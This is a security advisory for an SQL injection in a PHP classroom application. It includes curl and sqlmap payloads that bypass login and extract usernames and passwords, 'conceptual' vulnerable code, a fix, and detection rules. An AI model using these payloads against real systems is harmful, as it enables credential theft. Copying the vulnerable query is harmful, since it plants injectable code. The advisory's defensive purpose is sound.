CVE-2025-50868

Executive Summary

CVE-2025-50868 is a critical SQL Injection vulnerability discovered in the takeassessment2.php file of CloudClassroom-PHP-Project version 1.0. The Q4 POST parameter is not properly sanitized before being used in SQL queries, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. This can lead to full database compromise, including extraction of sensitive user data, credential theft, and potential lateral movement within the application's environment. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is assessed as Critical (9.8). No official patch is currently available, and the vendor has not released a fix.

Supply Chain & Package Security

This is a PHP-based project, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are identified beyond the direct use of the vulnerable application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential to disrupt database operations.

Threat Level: Critical. Immediate action is required.

Deep Dive & Mechanics

The vulnerability resides in the takeassessment2.php file. The Q4 parameter is retrieved from the HTTP POST request and directly concatenated into a SQL query without any sanitization, parameterization, or escaping. This allows an attacker to break out of the intended SQL syntax and execute arbitrary commands.

Vulnerable Code Snippet (Conceptual):

<?php
// Vulnerable code in takeassessment2.php
$q4 = $_POST['Q4'];
$sql = "SELECT * FROM assessments WHERE id = '$q4'";
$result = mysqli_query($conn, $sql);
?>

The attacker can inject a payload such as ' OR '1'='1 to bypass authentication or ' UNION SELECT ... to extract data from other tables.

Vulnerable vs. Patched Code

Vulnerable Code (takeassessment2.php):

<?php
$q4 = $_POST['Q4'];
$sql = "SELECT * FROM assessments WHERE id = '$q4'";
$result = mysqli_query($conn, $sql);
?>

Patched Code (Recommended):

<?php
$q4 = $_POST['Q4'];
$stmt = $conn->prepare("SELECT * FROM assessments WHERE id = ?");
$stmt->bind_param("s", $q4);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements with parameterized queries, which completely prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of CloudClassroom-PHP-Project 1.0.
• Access to the takeassessment2.php endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/CloudClassroom/takeassessment2.php
2. Craft a malicious POST request using curl or a tool like Burp Suite.

Example Payload (Authentication Bypass):

curl -X POST http://target/CloudClassroom/takeassessment2.php \
  -d "Q4=' OR '1'='1"

Example Payload (Data Extraction - UNION based):

curl -X POST http://target/CloudClassroom/takeassessment2.php \
  -d "Q4=' UNION SELECT username, password FROM users-- -"

Automated Exploitation with sqlmap:

sqlmap -u "http://target/CloudClassroom/takeassessment2.php" \
  --data="Q4=1" \
  --batch \
  --dbs

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to takeassessment2.php for abnormal Q4 parameters containing SQL keywords (SELECT, UNION, OR, --, #, ').
2. Enable database query logging to capture all SQL statements executed by the application.
3. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Response Steps:

1. Immediately isolate the affected server from the network.
2. Review database logs for any unauthorized queries or data exfiltration.
3. Rotate all credentials stored in the database.
4. Apply the patched code (prepared statements) or disable the vulnerable functionality.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to takeassessment2.php with Q4 parameter containing SQL metacharacters (', ", --, #, ;).
• Outbound database connections from the web server to unusual IP addresses.
• Large response sizes from takeassessment2.php indicating data extraction.

File IOCs:

• Modified takeassessment2.php file (if attacker uploaded a webshell).
• Suspicious files in the web root (e.g., cmd.php, shell.php).

Log IOCs:

• Database error logs containing SQL syntax errors.
• Web server access logs showing repeated requests to takeassessment2.php with varying Q4 values.

Detection Engineering

YARA Rule

rule CVE_2025_50868_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-50868 in CloudClassroom"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-50868"
    strings:
        $sqli_pattern1 = /Q4=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /Q4=.*\b(1=1|1=2|admin'|' OR '1'='1)\b/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-50868 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against takeassessment2.php Q4 parameter
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "takeassessment2.php"
        cs-uri-query|re: "Q4=.*['\"]\\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)"
    condition: selection
falsepositives:
    - Legitimate use of special characters in assessment IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50868 SQL Injection Attempt"; flow:to_server,established; content:"takeassessment2.php"; http_uri; pcre:"/Q4=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patched code (prepared statements) to takeassessment2.php.
2. Disable the vulnerable functionality if patching is not immediately possible.
3. Implement input validation – allow only alphanumeric characters for the Q4 parameter.
4. Deploy a WAF with SQL injection prevention rules.

Long-Term Recommendations:

1. Conduct a full code audit of the entire CloudClassroom-PHP-Project for similar vulnerabilities.
2. Adopt a secure coding framework that enforces parameterized queries.
3. Implement regular security scanning (SAST/DAST) in the development pipeline.
4. Monitor for updates from the vendor or consider migrating to a maintained alternative.

Valters IT – Securing your digital future.